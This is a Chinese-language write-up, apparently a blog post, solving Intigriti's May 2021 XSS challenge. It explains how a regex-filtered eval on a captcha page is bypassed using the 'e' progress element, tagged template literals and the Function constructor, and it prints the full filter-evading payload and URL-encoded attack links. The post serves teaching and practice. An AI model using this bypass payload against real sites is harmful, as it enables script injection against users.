这是之前 Huli 大在前端社团分享的 国外 XSS 挑战。
最近比较有时间来分享,当时 「从0~提交通过」的通灵思路。
组字串的细节可以参考 Huli 大後来在部落格分享的文章。
网址:
https://challenge-0521.intigriti.io/
规则:
在「challenge-0521.intigriti.io」这个网域,以不使用「self-XSS (不让使用者输入 XSS 指令)」的前提下,使用 XSS 执行「alert(document.domain)」。
进入网页,看到一个很显眼的机器人验证题目栏位。
题目既然提到要用 XSS,当然要打开 F12 看看 HTML 和 Javascript 有什麽惊喜。
首先看到了网页里面嵌入了一个 iframe,位置在 ./captcha.php
。
<iframe src="./captcha.php" width="450" height="90" frameborder="0"></iframe>
iframe 底下,包含机器人验证的表单 HTML 与 Javascript。
<form id="captcha">
<div id="input-fields">
<span id="a">416</span>
<span id="b">+</span>
<input id="c" type="text" size="4" value="" required="">
=
<span id="d">773</span>
<progress id="e" value="0" max="100" style="display:none"></progress>
</div>
<input type="submit" id="f">
<input type="button" onclick="setNewNumber()" value="Retry" id="g">
</form>
<script>
...
</script>
接着看到表单送出时,会往下呼叫 loadCalc()。
HTML 的部分看完後,继续往下阅读,送出时会执行的所有 Javascript。
仔细看一下 loadCalc(),他会跑一个 Timer,等到 100% 的时候执行 calc():
function loadCalc(pVal){
document.getElementsByTagName("progress")[0].style.display = "block";
document.getElementsByTagName("progress")[0].value = pVal;
if(pVal == 100){
calc();
}
else{
window.setTimeout(function(){loadCalc(pVal + 1)}, 10);
}
}
当中的 calc() 的部分,会把 a+b+c 的相加结果放到 eval 执行相加。
接着判断相加後的结果,是否等於 d,也就是等号後面的数字。
到这边会发现,calc() 里面,有一个可以用来执行 Javascript 程序码 eval。
但是在这段 eval 外面,有一个 if 判断,透过正规表达式,过滤了当中的字元。
只要 operation 当中包含了任何被过滤的字元,就不会执行 eval。
其中有一行注解特别说明,e 是被允许的,因为它在数学中是一个自然底数。
function calc() {
const operation = a.innerText + b.innerText + c.value;
if (!operation.match(/[a-df-z<>()!\\='"]/gi)) { // Allow letter 'e' because: https://en.wikipedia.org/wiki/E_(mathematical_constant)
if (d.innerText == eval(operation)) {
alert("?? Congratulations, you're not a robot!");
}
else {
alert("? Sorry to break the news to you, but you are a robot!");
}
setNewNumber();
}
c.value = "";
}
这一段是相加结果不符之後,用来重新产生题目的程序码。
function setNewNumber() {
document.getElementsByTagName("progress")[0].style.display = "none";
var dValue = Math.round(Math.random()*1000);
d.innerText = dValue;
a.innerText = Math.round(Math.random()* dValue);
}
到这边确定了两件事情,
第一件事:表单不会送出任何东西到後端。只会在前端执行 Javascript。
第二件事:你必须在不使用正规当中的字元的前提下,生出一个 alert(document.domain) 塞在 eval 的 operation 执行。
下个关键字问问狗:「javascript xss non-alpha」。
接着继续找着找着,在第一个连结里面,找到这个投影片。
第二个连结找到 JS Fuck 的 Github。
只要利用 JS Fuck 介绍的方式,就可以利用 eval 拼出我们要的 "alert(document.domain)"。
但是 eval 只会帮我们拼成字串,并不会帮实际执行,该怎麽办呢?
在 JS Fuck 里面有提到了一种,用来执行任意 Javascript 的写法:
[]["filter"]["constructor"]( CODE )()
从前两个搜寻结果内容,确定了第三件事情:我们可以利用 JS Fuck 的方式,拼出其他字元,塞到 eval 来执行任意Javascript。
[]["filter"]["constructor"]( CODE )()
执行 alert此外,当我尝试在 challenge-0521.intigriti.io/ 执行 Function('console.log("123")')() 会发现这个页面有设定 CSP,所以被挡掉无法执行。
这时通灵一下:想到之前在 HTML 的原始码,有看到网页有使用一个 iframe 网页: captcha.php
进去这个页面试试看,有没有挡 CSP。
试完後发现,这个页面没有挡 CSP。
这时候确定了第四件事情:我们可以在 captcha.php,将拼好的 Function('alert(document.domain)')() 塞进 eval() 进行 XSS。
然而,看完 JS Fuck 的 Github 以及投影片程序码,会发现目前有一个问题:没办法使用 ! 跟 (),也就是用来生出 true 跟 false,以及用来执行的小括号。
这时候确定了第五件事情:目前没办法直接生出 true 跟 false。
[][ 0 ] + [] // 早期语法
`${[][ 0 ]}` // ES6 语法
+{} + [] // 早期语法
`${+{}}` // ES6 语法
[] + {} // 早期语法
`${{}}` // ES6 语法
现在还缺 l
、r
、m
,这些字要怎麽生出来?
这时通灵一下,想到正规表达式没有排除的 e。
这什麽东西?这是网页的进度条!为什麽 e 出来的是这个东西?
这是 HTML5 当中的一个特性 Named access on the Window object
可以用元素的 id 名称当作变数名称,直接存取对应 id 的元素。
试着把 e 转成字串之後,发现会得到 "[object HTMLProgressElement]"。
有了 constructor,就可以将 e['constructor']
转成字串,得到小括号。
这时候确认了第六件事情:我们可以利用 e 拼出 constructor,间接拼出 []["filter"]["constructor"]( CODE )()
备注:我当时是使用: e['constructor']['constructor']('alert(document.domain)')()。
(
'alert(document.domain)')()
,字串外面的两组 ()
不能是字串,那我要怎麽改写才能执行?利用 Tagged template literal 的特性,将 () 使用 `` 的写法替代。
详细在这篇 stackoverflow 与 Huli 文中分享的这篇文章。
e['constructor']['constructor']`_${'alert(document.domain)'}```
其他拼字的详细过程不再赘述,有兴趣可以参考 Huli 的文章。
这时候就可以拼出,执行题目要求的程序码。
以下是我当时拼出来的结果:
e[`${e + [][0]}` [5] + `${e + [][0]}` [1] + `${e + [][0]}` [25] + `${e + [][0]}` [19] + `${e + [][0]}` [6] + `${e + [][0]}` [13] + `${e + [][0]}` [28] + `${e + [][0]}` [5] + `${e + [][0]}` [6] + `${e + [][0]}` [1] + `${e + [][0]}` [13] ][`${e + [][0]}` [5] + `${e + [][0]}` [1] + `${e + [][0]}` [25] + `${e + [][0]}` [19] + `${e + [][0]}` [6] + `${e + [][0]}` [13] + `${e + [][0]}` [28] + `${e + [][0]}` [5] + `${e + [][0]}` [6] + `${e + [][0]}` [1] + `${e + [][0]}` [13] ]`e${[+{} + []][0][1] + `${e + [][0]}`[21] + `${e + [][0]}`[22] + `${e + [][0]}` [13] + `${e + [][0]}` [6] + [[][ [[][0] + []][0][4] + [[][0] + []][0][5] + [[][0] + []][0][6] + [[][0] + []][0][8] ] +[]][0][13] + `${e + [][0]}`[30] + `${e + [][0]}`[1] + `${e + [][0]}`[5] + `${e + [][0]}` [28] + `${e + [][0]}` [23] + `${e + [][0]}` [24] + `${e + [][0]}` [25] + `${e + [][0]}` [26] + [[] + [] + 1 / 10][0][1] + `${e + [][0]}`[30] + `${e + [][0]}`[1] + `${e + [][0]}` [23] + [+{} + []][0][1] + `${e + [][0]}`[33] + `${e + [][0]}` [25] + [[][ [[][0] + []][0][4] + [[][0] + []][0][5] + [[][0] + []][0][6] + [[][0] + []][0][8] ] +[]][0][14]}```
复制到网页上送出,成功跳出题目要求的 alert。
YA! 可以开心地去交答案了。 (结果被打枪了)
我们必须要在进入网页时,自动带入我们拼好要执行的程序码。
先前看了前端的 Javascript ,并没有任何的程序码会自动带入c栏位。
这时通灵一下:如果我们希望进入网页时,将值自动带入 PHP 网页的 input,PHP 可能会怎麽写?
(用 GET 塞到 input 的 value)
<input id="c" type="text" size="4" value="<?php echo $_GET['c']; ?>" required="">
那我试试看後面加上 ?c=123 好了。
加上去之後,确认了第七件事:GET 参数当中的 c 会带入 c 栏位的 value 值。
https://challenge-0521.intigriti.io/captcha.php?c=123
接着把刚才拼出的程序码,塞到 GET 参数
进入网页并送出表单之後,发现竟然没有反应...
https://challenge-0521.intigriti.io/captcha.php?c=e[`${e%20%20+%20[][0]}`%20[5]%20+%20`${e%20%20+%20[][0]}`%20[1]%20+%20%20`${e%20%20+%20[][0]}`%20[25]%20+%20`${e%20%20+%20[][0]}`%20[19]%20+%20%20`${e%20%20+%20[][0]}`%20[6]%20+%20`${e%20%20+%20[][0]}`%20[13]%20+%20`${e%20%20+%20[][0]}`%20[28]%20+%20`${e%20%20+%20[][0]}`%20[5]%20+%20`${e%20%20+%20[][0]}`%20[6]%20+%20`${e%20%20+%20[][0]}`%20[1]%20+%20`${e%20%20+%20[][0]}`%20[13]%20][`${e%20%20+%20[][0]}`%20[5]%20+%20`${e%20%20+%20[][0]}`%20[1]%20+%20%20`${e%20%20+%20[][0]}`%20[25]%20+%20`${e%20%20+%20[][0]}`%20[19]%20+%20%20`${e%20%20+%20[][0]}`%20[6]%20+%20`${e%20%20+%20[][0]}`%20[13]%20+%20`${e%20%20+%20[][0]}`%20[28]%20+%20`${e%20%20+%20[][0]}`%20[5]%20+%20`${e%20%20+%20[][0]}`%20[6]%20+%20`${e%20%20+%20[][0]}`%20[1]%20+%20`${e%20%20+%20[][0]}`%20[13]%20]`e${[+{}%20+%20[]][0][1]%20+%20`${e%20%20+%20[][0]}`[21]%20+%20`${e%20%20+%20[][0]}`[22]%20+%20`${e%20%20+%20[][0]}`%20[13]%20+%20`${e%20%20+%20[][0]}`%20[6]%20+%20[[][%20[[][0]%20+%20[]][0][4]%20+%20[[][0]%20+%20[]][0][5]%20+%20[[][0]%20+%20[]][0][6]%20+%20[[][0]%20+%20[]][0][8]%20]%20+[]][0][13]%20+%20`${e%20%20+%20[][0]}`[30]%20+%20`${e%20%20+%20[][0]}`[1]%20+%20`${e%20%20+%20[][0]}`[5]%20+%20`${e%20%20+%20[][0]}`%20[28]%20+%20`${e%20%20+%20[][0]}`%20[23]%20+%20`${e%20%20+%20[][0]}`%20[24]%20+%20`${e%20%20+%20[][0]}`%20[25]%20+%20`${e%20%20+%20[][0]}`%20[26]%20+%20[[]%20+%20[]%20+%201%20/%2010][0][1]%20+%20%20`${e%20%20+%20[][0]}`[30]%20+%20`${e%20%20+%20[][0]}`[1]%20+%20`${e%20%20+%20[][0]}`%20[23]%20+%20[+{}%20+%20[]][0][1]%20+%20%20`${e%20%20+%20[][0]}`[33]%20+%20`${e%20%20+%20[][0]}`%20[25]%20+%20[[][%20[[][0]%20+%20[]][0][4]%20+%20[[][0]%20+%20[]][0][5]%20+%20[[][0]%20+%20[]][0][6]%20+%20[[][0]%20+%20[]][0][8]%20]%20+[]][0][14]}```
这是塞进去 GET 之前,拼出来的值:
e[`${e + [][0]}` [5] + `${e + [][0]}` [1] + `${e + [][0]}` [25] + `${e + [][0]}` [19] + `${e + [][0]}` [6] + `${e + [][0]}` [13] + `${e + [][0]}` [28] + `${e + [][0]}` [5] + `${e + [][0]}` [6] + `${e + [][0]}` [1] + `${e + [][0]}` [13] ][`${e + [][0]}` [5] + `${e + [][0]}` [1] + `${e + [][0]}` [25] + `${e + [][0]}` [19] + `${e + [][0]}` [6] + `${e + [][0]}` [13] + `${e + [][0]}` [28] + `${e + [][0]}` [5] + `${e + [][0]}` [6] + `${e + [][0]}` [1] + `${e + [][0]}` [13] ]`e${[+{} + []][0][1] + `${e + [][0]}`[21] + `${e + [][0]}`[22] + `${e + [][0]}` [13] + `${e + [][0]}` [6] + [[][ [[][0] + []][0][4] + [[][0] + []][0][5] + [[][0] + []][0][6] + [[][0] + []][0][8] ] +[]][0][13] + `${e + [][0]}`[30] + `${e + [][0]}`[1] + `${e + [][0]}`[5] + `${e + [][0]}` [28] + `${e + [][0]}` [23] + `${e + [][0]}` [24] + `${e + [][0]}` [25] + `${e + [][0]}` [26] + [[] + [] + 1 / 10][0][1] + `${e + [][0]}`[30] + `${e + [][0]}`[1] + `${e + [][0]}` [23] + [+{} + []][0][1] + `${e + [][0]}`[33] + `${e + [][0]}` [25] + [[][ [[][0] + []][0][4] + [[][0] + []][0][5] + [[][0] + []][0][6] + [[][0] + []][0][8] ] +[]][0][14]}```
这是塞进去 GET 之後,input 当中的值:
e[`${e [][0]}` [5] `${e [][0]}` [1] `${e [][0]}` [25] `${e [][0]}` [19] `${e [][0]}` [6] `${e [][0]}` [13] `${e [][0]}` [28] `${e [][0]}` [5] `${e [][0]}` [6] `${e [][0]}` [1] `${e [][0]}` [13] ][`${e [][0]}` [5] `${e [][0]}` [1] `${e [][0]}` [25] `${e [][0]}` [19] `${e [][0]}` [6] `${e [][0]}` [13] `${e [][0]}` [28] `${e [][0]}` [5] `${e [][0]}` [6] `${e [][0]}` [1] `${e [][0]}` [13] ]`e${[ {} []][0][1] `${e [][0]}`[21] `${e [][0]}`[22] `${e [][0]}` [13] `${e [][0]}` [6] [[][ [[][0] []][0][4] [[][0] []][0][5] [[][0] []][0][6] [[][0] []][0][8] ] []][0][13] `${e [][0]}`[30] `${e [][0]}`[1] `${e [][0]}`[5] `${e [][0]}` [28] `${e [][0]}` [23] `${e [][0]}` [24] `${e [][0]}` [25] `${e [][0]}` [26] [[] [] 1 / 10][0][1] `${e [][0]}`[30] `${e [][0]}`[1] `${e [][0]}` [23] [ {} []][0][1] `${e [][0]}`[33] `${e [][0]}` [25] [[][ [[][0] []][0][4] [[][0] []][0][5] [[][0] []][0][6] [[][0] []][0][8] ] []][0][14]}```
有没有发现少了什麽? +
不见了!!
为什麽塞进去 GET 之後 + 会消失?
url 的字元只能使用包含在 ASCII 的字元传送,其他的字元需要被转换为有效的 ASCII Code。而且 + 号在 url 的 query parameter 被当作是空白。
URLs can only be sent over the Internet using the ASCII character-set.
Since URLs often contain characters outside the ASCII set, the URL has to be converted into a valid ASCII format.
URLs cannot contain spaces. URL encoding normally replaces a space with a plus (+) sign or with %20.
所以我们必须把刚才网址,经过 urlencode 转换一次。
url 经过转後,+号就会变成 %2B。
接着再次进入转换过的网址,进入後直接送出表单。
https://challenge-0521.intigriti.io/captcha.php?c=e%5B%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B1%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B25%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B19%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B28%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%5D%5B%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B1%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B25%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B19%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B28%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%5D%60e%24%7B%5B%2B%7B%7D%20%2B%20%5B%5D%5D%5B0%5D%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B21%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B22%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%5B%5B%5D%5B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B4%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B5%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B6%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B8%5D%20%5D%20%2B%5B%5D%5D%5B0%5D%5B13%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B30%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B28%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B23%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B24%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B25%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B26%5D%20%2B%20%5B%5B%5D%20%2B%20%5B%5D%20%2B%201%20%2F%2010%5D%5B0%5D%5B1%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B30%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B23%5D%20%2B%20%5B%2B%7B%7D%20%2B%20%5B%5D%5D%5B0%5D%5B1%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B33%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B25%5D%20%2B%20%5B%5B%5D%5B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B4%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B5%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B6%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B8%5D%20%5D%20%2B%5B%5D%5D%5B0%5D%5B14%5D%7D%60%60%60
再次提交修改後的结果,顺利通过了挑战。
每次玩 CTF 都觉得很像在练通灵。
线索只要找错,通灵不成,便成亡,只会越想越错浪费很多时间。
相对的,一旦找对线索跟方向,会发现其实并没有想像中的难 (甚至会想骂脏话)。
所以玩过几次後,真心觉得,在资安圈长期闯荡的人,脑袋跟反应都很聪明。
很多被拿来利用的安全问题,都是出现在一些平常开发不会想到或用到的地方。
以这题的 Clickjacking,就是模拟利用网页 iframe 进行 XSS 攻击,来诱导使用者进行非预期的操作情境。
例如:
将假的登入网页设定透明,放到最上层,并将正常的网站显示并放在下层。
这样子使用者会以为,他是在操作正常的登入网页,但实际上使用者操作的是假的登入网页。
详细可以参考去年铁人赛这篇: 资安这条路 17 - [WebSecurity] 点击劫持 clickjacking 。
所以即使不是走资安圈,CTF 很适合当作练习「技术的深度 & 广度」,以及「解决问题的能力跟耐性」(还有通灵能力)。
>>: 缓冲区溢出和记忆体泄漏(Buffer Overflow and Memory Leak)
此刻所发生的所有事,都是你之前选择的结果。 Everything that is happening...
Azure Developer Course is for candidates who are w...
Functions 紧接着,我们就要来介绍函数了!写函数可以让我们的程序码更简洁明了也更有效率,因此...
class Root_Team(): def content(self): flex_message...
今天来聊聊我们接下来的27天会环绕的议题,就是智能合约(samrt contract)。 智能合约(...